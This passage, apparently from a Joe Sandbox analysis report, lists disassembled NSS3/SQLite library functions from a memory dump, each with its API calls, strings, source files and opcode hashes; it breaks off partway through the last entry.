Instruction Fuzzy Hash: 3A91CEB0A082058FDB04DF74D995B6BB7B6FF45348F184A2DE41697B50EB30E988CB51

Function 6CB98D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBE14E4,6CB4CC70), ref: 6CB98D47
PR_GetCurrentThread.NSS3 ref: 6CB98D98

Part of subcall function 6CA70F00: PR_GetPageSize.NSS3(6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F1B
Part of subcall function 6CA70F00: PR_NewLogModule.NSS3(clock,6CA70936,FFFFE8AE,?,6CA016B7,00000000,?,6CA70936,00000000,?,6CA0204A), ref: 6CA70F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CB98E7B
htons.WSOCK32(?), ref: 6CB98EDB
PR_GetCurrentThread.NSS3 ref: 6CB98F99
PR_GetCurrentThread.NSS3 ref: 6CB9910A

Strings

%u.%u.%u.%u, xrefs: 6CB98E74

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 938dd1db6c10efe5fb851048c149be0e58fee28e5d3110df7c566e3c760ceac1
Instruction ID: 3d441d414b0d035293842e5f95aaac056c2738c003978e9fee3fd4710a796e7e
Opcode Fuzzy Hash: 938dd1db6c10efe5fb851048c149be0e58fee28e5d3110df7c566e3c760ceac1
Instruction Fuzzy Hash: 88028B31D052E18FDB18CF19C46876ABBB2EF43304F19827ED8965BA91C336D949C791

Function 6CB3A480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CB5C3A2,?,?,00000000,00000000), ref: 6CB3A528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB3A6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB3A71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB3A738

Strings

%s at line %d of [%.10s], xrefs: 6CB3A6D9
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB3A6CA
database corruption, xrefs: 6CB3A6D4

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: bf0d2421c2a42151ba27aefd9a58cd3ba08eef00de904ad2b694464f1c2440c4
Instruction ID: 592adddfdbe611d33526fba21b69f30e0a46be3c47c466c987523c03f4433f50
Opcode Fuzzy Hash: bf0d2421c2a42151ba27aefd9a58cd3ba08eef00de904ad2b694464f1c2440c4
Instruction Fuzzy Hash: C491D7717083A18BCB14CF68C490A5AB7E1FF44314F655A6DE899CBB91EB70EC44CB92

Function 6CB14540 Relevance: 12.2, APIs: 8, Instructions: 170COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB14571
memset.VCRUNTIME140(?,00000000,00000000), ref: 6CB145B1
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CB145C2

Part of subcall function 6CB104C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CB1461B,-00000004), ref: 6CB104DF
Part of subcall function 6CB104C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CB1461B,-00000004), ref: 6CB10534

PR_Now.NSS3 ref: 6CB14626

Part of subcall function 6CB49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CB90A27), ref: 6CB49DC6
Part of subcall function 6CB49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CB90A27), ref: 6CB49DD1
Part of subcall function 6CB49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB49DED

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB14634
memcmp.VCRUNTIME140(?,?,?,00000000,?,000F4240,00000000), ref: 6CB146C4
PR_SetError.NSS3(FFFFD05A,00000000,00000000,?,000F4240,00000000), ref: 6CB146E3
PR_SetError.NSS3(?,00000000), ref: 6CB14722

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ErrorTime$SystemUnothrow_t@std@@@__ehfuncinfo$??2@$FileObjectSingleValueWaitmemcmpmemcpymemset
String ID:
API String ID: 1183590942-0
Opcode ID: 1a010269bb5ade8f7f48df70d708642d33c36411adc03a3918a1669fd6e51849
Instruction ID: e1823a03f54b18b269572a91d0c74b715477e47a9cac419b3ead84d5156c2afa
Opcode Fuzzy Hash: 1a010269bb5ade8f7f48df70d708642d33c36411adc03a3918a1669fd6e51849
Instruction Fuzzy Hash: 9F61EFB1E046449FEB20CF28D884B9EB7F5FF59308F554629E8499BA51E730F948CB81

Function 6CA1EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6CA1F95C, 6CA1F9BF, 6CA1FA5E, 6CA1FA8B
not authorized, xrefs: 6CA1F957, 6CA1F9BA
%s %T already exists, xrefs: 6CA1FAC8
view, xrefs: 6CA1F061, 6CA1F071, 6CA1FAB7
there is already an index named %s, xrefs: 6CA1F9D7
sqlite_temp_master, xrefs: 6CA1F0A6, 6CA1F2D5
table, xrefs: 6CA1F05C, 6CA1FABC, 6CA1FAC7
sqlite_master, xrefs: 6CA1F0AB, 6CA1F2DA, 6CA1F757, 6CA1F93E
temporary table name must be unqualified, xrefs: 6CA1F734

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 3639c15995fa8dc79cb603d62e16cb3e8ea8bbfe46ba06707898d4817dfdffc6
Instruction ID: 6257b3a0f8cca0b094e70bdd80d2d1356e2f215081bb92c97bd978e0993f49c4
Opcode Fuzzy Hash: 3639c15995fa8dc79cb603d62e16cb3e8ea8bbfe46ba06707898d4817dfdffc6
Instruction Fuzzy Hash: 2072C770E082858FDB14CF58C884BA9BBF1FF49318F1881ADD9159BB52D775D886CB90

Function 6CA94420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CA94444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CA94466

Part of subcall function 6CAE1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA888A4,00000000,00000000), ref: 6CAE1228
Part of subcall function 6CAE1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAE1238
Part of subcall function 6CAE1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA888A4,00000000,00000000), ref: 6CAE124B
Part of subcall function 6CAE1200: PR_CallOnce.NSS3(6CBE2AA4,6CAE12D0,00000000,00000000,00000000,?,6CA888A4,00000000,00000000), ref: 6CAE125D
Part of subcall function 6CAE1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAE126F
Part of subcall function 6CAE1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAE1280
Part of subcall function 6CAE1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAE128E
Part of subcall function 6CAE1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAE129A
Part of subcall function 6CAE1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAE12A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA9447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA9448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA94494

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: 6cf5b26203d0ed0a37ccddb65ec00644e6752c0989402dc47cfc77f7f1cbf1f5
Instruction ID: 9cfaf9a9fc43cdc48095a875260ece7abbf73668f6df91b9bc13a8c10e893c5b
Opcode Fuzzy Hash: 6cf5b26203d0ed0a37ccddb65ec00644e6752c0989402dc47cfc77f7f1cbf1f5
Instruction Fuzzy Hash: 4011B4B2D147149BD7208F259D815ABB7F8FF99218B094B3EE89D92A00F371B5D88790

Function 6CB9CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB9D086
PR_Malloc.NSS3(00000001), ref: 6CB9D0B9
PR_Free.NSS3(?), ref: 6CB9D138

Strings

>, xrefs: 6CB9CF5B

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: d1f90d8b00ca302026f03bc78d437cff24462d055e9b955503f0535ed6d8b8fb
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 5FD16C23B855D60BEB14487E9CB13EA77A3C743374F684339D5229BBE5E6198847C302

Function 6CB3AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6a5f84307b7e0d652df3d55bb203ca45af8014b42de7e500d235a14a032c10e
Instruction ID: 46fe0f75220a8ec385859250870b48024ed9741448b317eee037fba37151d98a
Opcode Fuzzy Hash: c6a5f84307b7e0d652df3d55bb203ca45af8014b42de7e500d235a14a032c10e
Instruction Fuzzy Hash: 74F1E071F055E68BDB04CF68C8517ADB7B9EB4A348F29422DC909DB744EB70A941CBC1

Function 6CB125B0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,6CAF5A85), ref: 6CB12675
PK11_Encrypt.NSS3(?,00001081,00000000,?,?,00000010,?,00000010), ref: 6CB12659

Part of subcall function 6CAC3850: TlsGetValue.KERNEL32 ref: 6CAC389F
Part of subcall function 6CAC3850: EnterCriticalSection.KERNEL32(?), ref: 6CAC38B3
Part of subcall function 6CAC3850: PR_Unlock.NSS3(?), ref: 6CAC38F1
Part of subcall function 6CAC3850: TlsGetValue.KERNEL32 ref: 6CAC390F
Part of subcall function 6CAC3850: EnterCriticalSection.KERNEL32(?), ref: 6CAC3923
Part of subcall function 6CAC3850: PR_Unlock.NSS3(?), ref: 6CAC3972

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB12697
PK11_Encrypt.NSS3(?,?,?,?,00000000,6CAF5A85,?,6CAF5A85), ref: 6CB12717

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalEncryptEnterK11_SectionUnlockValue$Errormemcpy
String ID:
API String ID: 3114817199-0
Opcode ID: db7bcc9a118048ca3755abdc63dad41f9c29400f45730cd3405d434967738f86
Instruction ID: 34a6ab85e099598ffc373e2c0c0d99b593c91fa708d10747088091bc3e075d4c
Opcode Fuzzy Hash: db7bcc9a118048ca3755abdc63dad41f9c29400f45730cd3405d434967738f86
Instruction Fuzzy Hash: 9E41F971A0C3C06AFB258E19CC86FDB73A8EFD2714F204519F99407A85EB71998587D3

Function 6CA68540 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 782COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000011C,automatic index on %s(%s),?,00000001), ref: 6CA68705

Strings

automatic index on %s(%s), xrefs: 6CA686FB
BINARY, xrefs: 6CA68B02, 6CA68DA2, 6CA68E27, 6CA68E60

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: BINARY$automatic index on %s(%s)
API String ID: 632333372-611788421
Opcode ID: b17dc1f5de53c6742e5543df7601637527787d0c81e0d16a73aa258c35614a5d
Instruction ID: 1a58a6536fb4d0faf09559da505ed6a6aadf90c6b9b2f5d05a0c1af919c75736
Opcode Fuzzy Hash: b17dc1f5de53c6742e5543df7601637527787d0c81e0d16a73aa258c35614a5d
Instruction Fuzzy Hash: E6629F75A083419FD705CF29C480B1AB7F5FF8A348F148A5EE8999BB51D731E885CB82

Function 6CA564D0 Relevance: 3.2, Strings: 2, Instructions: 724COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6CA56E3E
not authorized, xrefs: 6CA56D47, 6CA56D4C

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID: authorizer malfunction$not authorized
API String ID: 0-2411240822
Opcode ID: 1ca6d7a313d03250d8ae1dfe3d422ebd098944d00d98d063cfa062cc1fb69934
Instruction ID: cf4232fb90fee35150b50bd5d3737d4eb9defa44922cba737dbc2b2cff94f77a
Opcode Fuzzy Hash: 1ca6d7a313d03250d8ae1dfe3d422ebd098944d00d98d063cfa062cc1fb69934
Instruction Fuzzy Hash: 3E626F70A04204CFDB14CF19C484AA9BBF2FF89308F65C1ADD9159B766D736E996CB80

Function 6CAAEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAAF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CAAF0F9

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: d822850f29e5448d655a1b1a6d8567b6bf814c20ab1c8378c97cc5802d65d543
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 11919171A0161A8FCB18CFA9C8916AEB7F1FF85324F14462DD962A7BC0D730A946CB51

Function 6CA76410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6CA76401,?,?,0000001C), ref: 6CA76422
WSAGetLastError.WSOCK32(?,?,?,?,6CA76401,?,?,0000001C), ref: 6CA76432

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: daf2168cefb0c4c77b3d9cf62dbcd09b443a3dda0ba776c90d34b8a49fabbc6e
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: 83E01D751501446FCB019F74DC4485E37A9BF09228754C530F519C7771E631D4658750

Function 6CAF0E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CAF1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CAF1086

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 47c43b62e04968b1af0439b9ab0dfc3f8f410fc04901c9c9ad253b9661d921ea
Instruction ID: b052d6d29ff225be767c1d5bec2382757aeb28e9988c53e9225f5dd9ad26f4bc
Opcode Fuzzy Hash: 47c43b62e04968b1af0439b9ab0dfc3f8f410fc04901c9c9ad253b9661d921ea
Instruction Fuzzy Hash: 8CA13D71B0124A9FDF08CF99C990AEEBBB6BF48314B198129F915A7700D735ED52CB90

Function 6CA1AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA1AE9F
winUnlock, xrefs: 6CA1AE18

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 2e4033b349817f0b16e425e0b9190eb1be1d68d1ad95d476c89c433f81bba03c
Instruction ID: 8249dafdd5252e9b6d639848d35baa4882748111f3b796a7d621bab4479670a6
Opcode Fuzzy Hash: 2e4033b349817f0b16e425e0b9190eb1be1d68d1ad95d476c89c433f81bba03c
Instruction Fuzzy Hash: 25718E706082409FDB04CF28D894AAABBF6FF89314F14CA29F95997641D730AD85CBD1

Function 6CADED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CADEE3D

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 58e289df321c4efc96f4897095cd0dbb30dce94899feec801ad1683a8222e8ac
